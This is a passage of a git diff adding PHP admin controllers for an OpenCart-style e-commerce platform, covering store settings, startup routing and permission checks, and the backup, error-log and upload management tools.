+
+ $this->load->model('localisation/currency');
+
+ $data['currencies'] = $this->model_localisation_currency->getCurrencies();
+
+ if (isset($this->request->post['config_tax'])) {
+ $data['config_tax'] = $this->request->post['config_tax'];
+ } elseif (isset($store_info['config_tax'])) {
+ $data['config_tax'] = $store_info['config_tax'];
+ } else {
+ $data['config_tax'] = '';
+ }
+
+ if (isset($this->request->post['config_tax_default'])) {
+ $data['config_tax_default'] = $this->request->post['config_tax_default'];
+ } elseif (isset($store_info['config_tax_default'])) {
+ $data['config_tax_default'] = $store_info['config_tax_default'];
+ } else {
+ $data['config_tax_default'] = '';
+ }
+
+ if (isset($this->request->post['config_tax_customer'])) {
+ $data['config_tax_customer'] = $this->request->post['config_tax_customer'];
+ } elseif (isset($store_info['config_tax_customer'])) {
+ $data['config_tax_customer'] = $store_info['config_tax_customer'];
+ } else {
+ $data['config_tax_customer'] = '';
+ }
+
+ if (isset($this->request->post['config_customer_group_id'])) {
+ $data['config_customer_group_id'] = $this->request->post['config_customer_group_id'];
+ } elseif (isset($store_info['config_customer_group_id'])) {
+ $data['config_customer_group_id'] = $store_info['config_customer_group_id'];
+ } else {
+ $data['config_customer_group_id'] = '';
+ }
+
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ if (isset($this->request->post['config_customer_group_display'])) {
+ $data['config_customer_group_display'] = $this->request->post['config_customer_group_display'];
+ } elseif (isset($store_info['config_customer_group_display'])) {
+ $data['config_customer_group_display'] = $store_info['config_customer_group_display'];
+ } else {
+ $data['config_customer_group_display'] = array();
+ }
+
+ if (isset($this->request->post['config_customer_price'])) {
+ $data['config_customer_price'] = $this->request->post['config_customer_price'];
+ } elseif (isset($store_info['config_customer_price'])) {
+ $data['config_customer_price'] = $store_info['config_customer_price'];
+ } else {
+ $data['config_customer_price'] = '';
+ }
+
+ if (isset($this->request->post['config_account_id'])) {
+ $data['config_account_id'] = $this->request->post['config_account_id'];
+ } elseif (isset($store_info['config_account_id'])) {
+ $data['config_account_id'] = $store_info['config_account_id'];
+ } else {
+ $data['config_account_id'] = '';
+ }
+
+ $this->load->model('catalog/information');
+
+ $data['informations'] = $this->model_catalog_information->getInformations();
+
+ if (isset($this->request->post['config_cart_weight'])) {
+ $data['config_cart_weight'] = $this->request->post['config_cart_weight'];
+ } elseif (isset($store_info['config_cart_weight'])) {
+ $data['config_cart_weight'] = $store_info['config_cart_weight'];
+ } else {
+ $data['config_cart_weight'] = '';
+ }
+
+ if (isset($this->request->post['config_checkout_guest'])) {
+ $data['config_checkout_guest'] = $this->request->post['config_checkout_guest'];
+ } elseif (isset($store_info['config_checkout_guest'])) {
+ $data['config_checkout_guest'] = $store_info['config_checkout_guest'];
+ } else {
+ $data['config_checkout_guest'] = '';
+ }
+
+ if (isset($this->request->post['config_checkout_id'])) {
+ $data['config_checkout_id'] = $this->request->post['config_checkout_id'];
+ } elseif (isset($store_info['config_checkout_id'])) {
+ $data['config_checkout_id'] = $store_info['config_checkout_id'];
+ } else {
+ $data['config_checkout_id'] = '';
+ }
+
+ if (isset($this->request->post['config_order_status_id'])) {
+ $data['config_order_status_id'] = $this->request->post['config_order_status_id'];
+ } elseif (isset($store_info['config_order_status_id'])) {
+ $data['config_order_status_id'] = $store_info['config_order_status_id'];
+ } else {
+ $data['config_order_status_id'] = '';
+ }
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ if (isset($this->request->post['config_stock_display'])) {
+ $data['config_stock_display'] = $this->request->post['config_stock_display'];
+ } elseif (isset($store_info['config_stock_display'])) {
+ $data['config_stock_display'] = $store_info['config_stock_display'];
+ } else {
+ $data['config_stock_display'] = '';
+ }
+
+ if (isset($this->request->post['config_stock_checkout'])) {
+ $data['config_stock_checkout'] = $this->request->post['config_stock_checkout'];
+ } elseif (isset($store_info['config_stock_checkout'])) {
+ $data['config_stock_checkout'] = $store_info['config_stock_checkout'];
+ } else {
+ $data['config_stock_checkout'] = '';
+ }
+
+ if (isset($this->request->post['config_logo'])) {
+ $data['config_logo'] = $this->request->post['config_logo'];
+ } elseif (isset($store_info['config_logo'])) {
+ $data['config_logo'] = $store_info['config_logo'];
+ } else {
+ $data['config_logo'] = '';
+ }
+
+ if (isset($this->request->post['config_logo']) && is_file(DIR_IMAGE . $this->request->post['config_logo'])) {
+ $data['logo'] = $this->model_tool_image->resize($this->request->post['config_logo'], 100, 100);
+ } elseif (isset($store_info['config_logo']) && is_file(DIR_IMAGE . $store_info['config_logo'])) {
+ $data['logo'] = $this->model_tool_image->resize($store_info['config_logo'], 100, 100);
+ } else {
+ $data['logo'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ if (isset($this->request->post['config_icon'])) {
+ $data['config_icon'] = $this->request->post['config_icon'];
+ } elseif (isset($store_info['config_icon'])) {
+ $data['config_icon'] = $store_info['config_icon'];
+ } else {
+ $data['config_icon'] = '';
+ }
+
+ if (isset($this->request->post['config_icon']) && is_file(DIR_IMAGE . $this->request->post['config_icon'])) {
+ $data['icon'] = $this->model_tool_image->resize($this->request->post['config_icon'], 100, 100);
+ } elseif (isset($store_info['config_icon']) && is_file(DIR_IMAGE . $store_info['config_icon'])) {
+ $data['icon'] = $this->model_tool_image->resize($store_info['config_icon'], 100, 100);
+ } else {
+ $data['icon'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ if (isset($this->request->post['config_secure'])) {
+ $data['config_secure'] = $this->request->post['config_secure'];
+ } elseif (isset($store_info['config_secure'])) {
+ $data['config_secure'] = $store_info['config_secure'];
+ } else {
+ $data['config_secure'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('setting/store_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'setting/store')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['config_url']) {
+ $this->error['url'] = $this->language->get('error_url');
+ }
+
+ if (!$this->request->post['config_meta_title']) {
+ $this->error['meta_title'] = $this->language->get('error_meta_title');
+ }
+
+ if (!$this->request->post['config_name']) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($this->request->post['config_owner']) < 3) || (utf8_strlen($this->request->post['config_owner']) > 64)) {
+ $this->error['owner'] = $this->language->get('error_owner');
+ }
+
+ if ((utf8_strlen($this->request->post['config_address']) < 3) || (utf8_strlen($this->request->post['config_address']) > 256)) {
+ $this->error['address'] = $this->language->get('error_address');
+ }
+
+ if ((utf8_strlen($this->request->post['config_email']) > 96) || !filter_var($this->request->post['config_email'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['email'] = $this->language->get('error_email');
+ }
+
+ if ((utf8_strlen($this->request->post['config_telephone']) < 3) || (utf8_strlen($this->request->post['config_telephone']) > 32)) {
+ $this->error['telephone'] = $this->language->get('error_telephone');
+ }
+
+ if (!empty($this->request->post['config_customer_group_display']) && !in_array($this->request->post['config_customer_group_id'], $this->request->post['config_customer_group_display'])) {
+ $this->error['customer_group_display'] = $this->language->get('error_customer_group_display');
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'setting/store')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('sale/order');
+
+ foreach ($this->request->post['selected'] as $store_id) {
+ if (!$store_id) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ $store_total = $this->model_sale_order->getTotalOrdersByStoreId($store_id);
+
+ if ($store_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_store'), $store_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/startup/error.php b/public/admin/controller/startup/error.php
new file mode 100644
index 0000000..8489b9c
--- /dev/null
+++ b/public/admin/controller/startup/error.php
@@ -0,0 +1,43 @@
+registry->set('log', new Log($this->config->get('config_error_filename') ? $this->config->get('config_error_filename') : $this->config->get('error_filename')));
+
+ set_error_handler(array($this, 'handler'));
+ }
+
+ public function handler($code, $message, $file, $line) {
+ // error suppressed with @
+ if (error_reporting() === 0) {
+ return false;
+ }
+
+ switch ($code) {
+ case E_NOTICE:
+ case E_USER_NOTICE:
+ $error = 'Notice';
+ break;
+ case E_WARNING:
+ case E_USER_WARNING:
+ $error = 'Warning';
+ break;
+ case E_ERROR:
+ case E_USER_ERROR:
+ $error = 'Fatal Error';
+ break;
+ default:
+ $error = 'Unknown';
+ break;
+ }
+
+ if ($this->config->get('config_error_display')) {
+ echo '' . $error . ': ' . $message . ' in ' . $file . ' on line ' . $line . '';
+ }
+
+ if ($this->config->get('config_error_log')) {
+ $this->log->write('PHP ' . $error . ': ' . $message . ' in ' . $file . ' on line ' . $line);
+ }
+
+ return true;
+ }
+}
diff --git a/public/admin/controller/startup/event.php b/public/admin/controller/startup/event.php
new file mode 100644
index 0000000..2aa9604
--- /dev/null
+++ b/public/admin/controller/startup/event.php
@@ -0,0 +1,15 @@
+load->model('setting/event');
+
+ $results = $this->model_setting_event->getEvents();
+
+ foreach ($results as $result) {
+ if ((substr($result['trigger'], 0, 6) == 'admin/') && $result['status']) {
+ $this->event->register(substr($result['trigger'], 6), new Action($result['action']), $result['sort_order']);
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/startup/login.php b/public/admin/controller/startup/login.php
new file mode 100644
index 0000000..da058cc
--- /dev/null
+++ b/public/admin/controller/startup/login.php
@@ -0,0 +1,38 @@
+request->get['route']) ? $this->request->get['route'] : '';
+
+ $ignore = array(
+ 'common/login',
+ 'common/forgotten',
+ 'common/reset'
+ );
+
+ // User
+ $this->registry->set('user', new Cart\User($this->registry));
+
+ if (!$this->user->isLogged() && !in_array($route, $ignore)) {
+ return new Action('common/login');
+ }
+
+ if (isset($this->request->get['route'])) {
+ $ignore = array(
+ 'common/login',
+ 'common/logout',
+ 'common/forgotten',
+ 'common/reset',
+ 'error/not_found',
+ 'error/permission'
+ );
+
+ if (!in_array($route, $ignore) && (!isset($this->request->get['user_token']) || !isset($this->session->data['user_token']) || ($this->request->get['user_token'] != $this->session->data['user_token']))) {
+ return new Action('common/login');
+ }
+ } else {
+ if (!isset($this->request->get['user_token']) || !isset($this->session->data['user_token']) || ($this->request->get['user_token'] != $this->session->data['user_token'])) {
+ return new Action('common/login');
+ }
+ }
+ }
+}
diff --git a/public/admin/controller/startup/permission.php b/public/admin/controller/startup/permission.php
new file mode 100644
index 0000000..83c7436
--- /dev/null
+++ b/public/admin/controller/startup/permission.php
@@ -0,0 +1,55 @@
+request->get['route'])) {
+ $route = '';
+
+ $part = explode('/', $this->request->get['route']);
+
+ if (isset($part[0])) {
+ $route .= $part[0];
+ }
+
+ if (isset($part[1])) {
+ $route .= '/' . $part[1];
+ }
+
+ // If a 3rd part is found we need to check if its under one of the extension folders.
+ $extension = array(
+ 'extension/advertise',
+ 'extension/dashboard',
+ 'extension/analytics',
+ 'extension/captcha',
+ 'extension/currency',
+ 'extension/extension',
+ 'extension/feed',
+ 'extension/fraud',
+ 'extension/module',
+ 'extension/payment',
+ 'extension/shipping',
+ 'extension/theme',
+ 'extension/total',
+ 'extension/report'
+ );
+
+ if (isset($part[2]) && in_array($route, $extension)) {
+ $route .= '/' . $part[2];
+ }
+
+ // We want to ingore some pages from having its permission checked.
+ $ignore = array(
+ 'common/dashboard',
+ 'common/login',
+ 'common/logout',
+ 'common/forgotten',
+ 'common/reset',
+ 'error/not_found',
+ 'error/permission'
+ );
+
+ if (!in_array($route, $ignore) && !$this->user->hasPermission('access', $route)) {
+ return new Action('error/permission');
+ }
+ }
+ }
+}
diff --git a/public/admin/controller/startup/router.php b/public/admin/controller/startup/router.php
new file mode 100644
index 0000000..ec8e0ca
--- /dev/null
+++ b/public/admin/controller/startup/router.php
@@ -0,0 +1,37 @@
+request->get['route']) && $this->request->get['route'] != 'startup/router') {
+ $route = $this->request->get['route'];
+ } else {
+ $route = $this->config->get('action_default');
+ }
+
+ $data = array();
+
+ // Sanitize the call
+ $route = preg_replace('/[^a-zA-Z0-9_\/]/', '', (string)$route);
+
+ // Trigger the pre events
+ $result = $this->event->trigger('controller/' . $route . '/before', array(&$route, &$data));
+
+ if (!is_null($result)) {
+ return $result;
+ }
+
+ $action = new Action($route);
+
+ // Any output needs to be another Action object.
+ $output = $action->execute($this->registry, $data);
+
+ // Trigger the post events
+ $result = $this->event->trigger('controller/' . $route . '/after', array(&$route, &$output));
+
+ if (!is_null($result)) {
+ return $result;
+ }
+
+ return $output;
+ }
+}
diff --git a/public/admin/controller/startup/startup.php b/public/admin/controller/startup/startup.php
new file mode 100644
index 0000000..87b4b70
--- /dev/null
+++ b/public/admin/controller/startup/startup.php
@@ -0,0 +1,69 @@
+db->query("SELECT * FROM " . DB_PREFIX . "setting WHERE store_id = '0'");
+
+ foreach ($query->rows as $setting) {
+ if (!$setting['serialized']) {
+ $this->config->set($setting['key'], $setting['value']);
+ } else {
+ $this->config->set($setting['key'], json_decode($setting['value'], true));
+ }
+ }
+
+ // Set time zone
+ if ($this->config->get('config_timezone')) {
+ date_default_timezone_set($this->config->get('config_timezone'));
+
+ // Sync PHP and DB time zones.
+ $this->db->query("SET time_zone = '" . $this->db->escape(date('P')) . "'");
+ }
+
+ // Theme
+ $this->config->set('template_cache', $this->config->get('developer_theme'));
+
+ // Language
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "language` WHERE code = '" . $this->db->escape($this->config->get('config_admin_language')) . "'");
+
+ if ($query->num_rows) {
+ $this->config->set('config_language_id', $query->row['language_id']);
+ }
+
+ // Language
+ $language = new Language($this->config->get('config_admin_language'));
+ $language->load($this->config->get('config_admin_language'));
+ $this->registry->set('language', $language);
+
+ // Customer
+ $this->registry->set('customer', new Cart\Customer($this->registry));
+
+ // Currency
+ $this->registry->set('currency', new Cart\Currency($this->registry));
+
+ // Tax
+ $this->registry->set('tax', new Cart\Tax($this->registry));
+
+ if ($this->config->get('config_tax_default') == 'shipping') {
+ $this->tax->setShippingAddress($this->config->get('config_country_id'), $this->config->get('config_zone_id'));
+ }
+
+ if ($this->config->get('config_tax_default') == 'payment') {
+ $this->tax->setPaymentAddress($this->config->get('config_country_id'), $this->config->get('config_zone_id'));
+ }
+
+ $this->tax->setStoreAddress($this->config->get('config_country_id'), $this->config->get('config_zone_id'));
+
+ // Weight
+ $this->registry->set('weight', new Cart\Weight($this->registry));
+
+ // Length
+ $this->registry->set('length', new Cart\Length($this->registry));
+
+ // Cart
+ $this->registry->set('cart', new Cart\Cart($this->registry));
+
+ // Encryption
+ $this->registry->set('encryption', new Encryption($this->config->get('config_encryption')));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/tool/backup.php b/public/admin/controller/tool/backup.php
new file mode 100644
index 0000000..0d10652
--- /dev/null
+++ b/public/admin/controller/tool/backup.php
@@ -0,0 +1,160 @@
+load->language('tool/backup');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ if (isset($this->session->data['error'])) {
+ $data['error_warning'] = $this->session->data['error'];
+
+ unset($this->session->data['error']);
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('tool/backup', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['export'] = $this->url->link('tool/backup/export', 'user_token=' . $this->session->data['user_token'], true);
+
+ $this->load->model('tool/backup');
+
+ $data['tables'] = $this->model_tool_backup->getTables();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('tool/backup', $data));
+ }
+
+ public function import() {
+ $this->load->language('tool/backup');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'tool/backup')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (isset($this->request->files['import']['tmp_name']) && is_uploaded_file($this->request->files['import']['tmp_name'])) {
+ $filename = tempnam(DIR_UPLOAD, 'bac');
+
+ move_uploaded_file($this->request->files['import']['tmp_name'], $filename);
+ } elseif (isset($this->request->get['import'])) {
+ $filename = DIR_UPLOAD . basename(html_entity_decode($this->request->get['import'], ENT_QUOTES, 'UTF-8'));
+ } else {
+ $filename = '';
+ }
+
+ if (!is_file($filename)) {
+ $json['error'] = $this->language->get('error_file');
+ }
+
+ if (isset($this->request->get['position'])) {
+ $position = $this->request->get['position'];
+ } else {
+ $position = 0;
+ }
+
+ if (!$json) {
+ // We set $i so we can batch execute the queries rather than do them all at once.
+ $i = 0;
+ $start = false;
+
+ $handle = fopen($filename, 'r');
+
+ fseek($handle, $position, SEEK_SET);
+
+ while (!feof($handle) && ($i < 100)) {
+ $position = ftell($handle);
+
+ $line = fgets($handle, 1000000);
+
+ if (substr($line, 0, 14) == 'TRUNCATE TABLE' || substr($line, 0, 11) == 'INSERT INTO') {
+ $sql = '';
+
+ $start = true;
+ }
+
+ if ($i > 0 && (substr($line, 0, 24) == 'TRUNCATE TABLE `oc_user`' || substr($line, 0, 30) == 'TRUNCATE TABLE `oc_user_group`')) {
+ fseek($handle, $position, SEEK_SET);
+
+ break;
+ }
+
+ if ($start) {
+ $sql .= $line;
+ }
+
+ if ($start && substr($line, -2) == ";\n") {
+ $this->db->query(substr($sql, 0, strlen($sql) -2));
+
+ $start = false;
+ }
+
+ $i++;
+ }
+
+ $position = ftell($handle);
+
+ $size = filesize($filename);
+
+ $json['total'] = round(($position / $size) * 100);
+
+ if ($position && !feof($handle)) {
+ $json['next'] = str_replace('&', '&', $this->url->link('tool/backup/import', 'user_token=' . $this->session->data['user_token'] . '&import=' . $filename . '&position=' . $position, true));
+
+ fclose($handle);
+ } else {
+ fclose($handle);
+
+ unlink($filename);
+
+ $json['success'] = $this->language->get('text_success');
+
+ $this->cache->delete('*');
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function export() {
+ $this->load->language('tool/backup');
+
+ if (!isset($this->request->post['backup'])) {
+ $this->session->data['error'] = $this->language->get('error_export');
+
+ $this->response->redirect($this->url->link('tool/backup', 'user_token=' . $this->session->data['user_token'], true));
+ } elseif (!$this->user->hasPermission('modify', 'tool/backup')) {
+ $this->session->data['error'] = $this->language->get('error_permission');
+
+ $this->response->redirect($this->url->link('tool/backup', 'user_token=' . $this->session->data['user_token'], true));
+ } else {
+ $this->response->addheader('Pragma: public');
+ $this->response->addheader('Expires: 0');
+ $this->response->addheader('Content-Description: File Transfer');
+ $this->response->addheader('Content-Type: application/octet-stream');
+ $this->response->addheader('Content-Disposition: attachment; filename="' . DB_DATABASE . '_' . date('Y-m-d_H-i-s', time()) . '_backup.sql"');
+ $this->response->addheader('Content-Transfer-Encoding: binary');
+
+ $this->load->model('tool/backup');
+
+ $this->response->setOutput($this->model_tool_backup->backup($this->request->post['backup']));
+ }
+ }
+}
diff --git a/public/admin/controller/tool/log.php b/public/admin/controller/tool/log.php
new file mode 100644
index 0000000..389b95a
--- /dev/null
+++ b/public/admin/controller/tool/log.php
@@ -0,0 +1,121 @@
+load->language('tool/log');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ if (isset($this->session->data['error'])) {
+ $data['error_warning'] = $this->session->data['error'];
+
+ unset($this->session->data['error']);
+ } elseif (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('tool/log', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['download'] = $this->url->link('tool/log/download', 'user_token=' . $this->session->data['user_token'], true);
+ $data['clear'] = $this->url->link('tool/log/clear', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['log'] = '';
+
+ $file = DIR_LOGS . $this->config->get('config_error_filename');
+
+ if (file_exists($file)) {
+ $size = filesize($file);
+
+ if ($size >= 5242880) {
+ $suffix = array(
+ 'B',
+ 'KB',
+ 'MB',
+ 'GB',
+ 'TB',
+ 'PB',
+ 'EB',
+ 'ZB',
+ 'YB'
+ );
+
+ $i = 0;
+
+ while (($size / 1024) > 1) {
+ $size = $size / 1024;
+ $i++;
+ }
+
+ $data['error_warning'] = sprintf($this->language->get('error_warning'), basename($file), round(substr($size, 0, strpos($size, '.') + 4), 2) . $suffix[$i]);
+ } else {
+ $data['log'] = file_get_contents($file, FILE_USE_INCLUDE_PATH, null);
+ }
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('tool/log', $data));
+ }
+
+ public function download() {
+ $this->load->language('tool/log');
+
+ $file = DIR_LOGS . $this->config->get('config_error_filename');
+
+ if (file_exists($file) && filesize($file) > 0) {
+ $this->response->addheader('Pragma: public');
+ $this->response->addheader('Expires: 0');
+ $this->response->addheader('Content-Description: File Transfer');
+ $this->response->addheader('Content-Type: application/octet-stream');
+ $this->response->addheader('Content-Disposition: attachment; filename="' . $this->config->get('config_name') . '_' . date('Y-m-d_H-i-s', time()) . '_error.log"');
+ $this->response->addheader('Content-Transfer-Encoding: binary');
+
+ $this->response->setOutput(file_get_contents($file, FILE_USE_INCLUDE_PATH, null));
+ } else {
+ $this->session->data['error'] = sprintf($this->language->get('error_warning'), basename($file), '0B');
+
+ $this->response->redirect($this->url->link('tool/log', 'user_token=' . $this->session->data['user_token'], true));
+ }
+ }
+
+ public function clear() {
+ $this->load->language('tool/log');
+
+ if (!$this->user->hasPermission('modify', 'tool/log')) {
+ $this->session->data['error'] = $this->language->get('error_permission');
+ } else {
+ $file = DIR_LOGS . $this->config->get('config_error_filename');
+
+ $handle = fopen($file, 'w+');
+
+ fclose($handle);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->redirect($this->url->link('tool/log', 'user_token=' . $this->session->data['user_token'], true));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/tool/upload.php b/public/admin/controller/tool/upload.php
new file mode 100644
index 0000000..d640d0a
--- /dev/null
+++ b/public/admin/controller/tool/upload.php
@@ -0,0 +1,396 @@
+load->language('tool/upload');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('tool/upload');
+
+ $this->getList();
+ }
+
+ public function delete() {
+ $this->load->language('tool/upload');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('tool/upload');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $upload_id) {
+ // Remove file before deleting DB record.
+ $upload_info = $this->model_tool_upload->getUpload($upload_id);
+
+ if ($upload_info && is_file(DIR_UPLOAD . $upload_info['filename'])) {
+ unlink(DIR_UPLOAD . $upload_info['filename']);
+ }
+
+ $this->model_tool_upload->deleteUpload($upload_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('tool/upload', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'date_added';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'DESC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('tool/upload', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['delete'] = $this->url->link('tool/upload/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['uploads'] = array();
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'filter_date_added' => $filter_date_added,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $upload_total = $this->model_tool_upload->getTotalUploads($filter_data);
+
+ $results = $this->model_tool_upload->getUploads($filter_data);
+
+ foreach ($results as $result) {
+ $data['uploads'][] = array(
+ 'upload_id' => $result['upload_id'],
+ 'name' => $result['name'],
+ 'filename' => $result['filename'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'download' => $this->url->link('tool/upload/download', 'user_token=' . $this->session->data['user_token'] . '&code=' . $result['code'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } elseif (isset($this->session->data['error'])) {
+ $data['error_warning'] = $this->session->data['error'];
+
+ unset($this->session->data['error']);
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('tool/upload', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_filename'] = $this->url->link('tool/upload', 'user_token=' . $this->session->data['user_token'] . '&sort=filename' . $url, true);
+ $data['sort_date_added'] = $this->url->link('tool/upload', 'user_token=' . $this->session->data['user_token'] . '&sort=date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $upload_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('tool/upload', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
